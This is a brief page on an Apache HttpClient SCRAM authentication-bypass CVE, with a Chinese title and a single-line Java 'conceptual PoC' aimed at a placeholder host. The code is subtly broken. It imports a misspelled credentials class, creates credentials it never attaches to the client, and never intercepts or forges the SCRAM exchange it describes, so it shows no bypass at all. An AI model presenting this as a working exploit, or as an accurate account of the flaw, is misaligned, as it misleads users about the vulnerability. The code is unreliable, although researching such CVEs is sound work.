CVE-2026-40542 Apache HttpClient认证绕过漏洞

import org.apache.hc.client5.http.impl.auth.SCAMCredentials; import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; import org.apache.hc.client5.http.impl.classic.HttpClients; import org.apache.hc.core5.http.ClassicHttpRequest; import org.apache.hc.core5.http.ClassicHttpResponse; import org.apache.hc.core5.http.HttpHost; import org.apache.hc.core5.http.io.HttpClientResponseHandler; import org.apache.hc.core5.http.io.entity.EntityUtils; import org.apache.hc.core5.http.io.entity.StringEntity; // Conceptual PoC for CVE-2026-40542 // Demonstrates that a client using vulnerable HttpClient 5.6 might accept a SCRAM response // without verifying the server signature strictly. public class Cve202640542PoC { public static void main(String[] args) throws Exception { // Target vulnerable server or simulated MITM environment HttpHost target = new HttpHost("https", "vulnerable.example.com", 443); // In a real exploit scenario, the attacker would intercept the SCRAM exchange // and provide a response that passes the weak check but fails mutual auth. try (CloseableHttpClient httpClient = HttpClients.custom().build()) { // Setup request with SCRAM-SHA-256 credentials SCRAMCredentials credentials = new SCRAMCredentials("user", "password"); // This request would normally fail if server signature verification was correct. // In the vulnerable version (5.6), it might succeed against a malicious actor. ClassicHttpRequest request = new org.apache.hc.client5.http.classic.methods.HttpGet("/secure-data"); HttpClientResponseHandler<String> responseHandler = response -> { int status = response.getCode(); if (status >= 200 && status < 300) { return EntityUtils.toString(response.getEntity()); } else { throw new Exception("Unexpected response status: " + status); } }; String responseBody = httpClient.execute(target, request, responseHandler); System.out.println("Received response (Potential Bypass): " + responseBody); } } }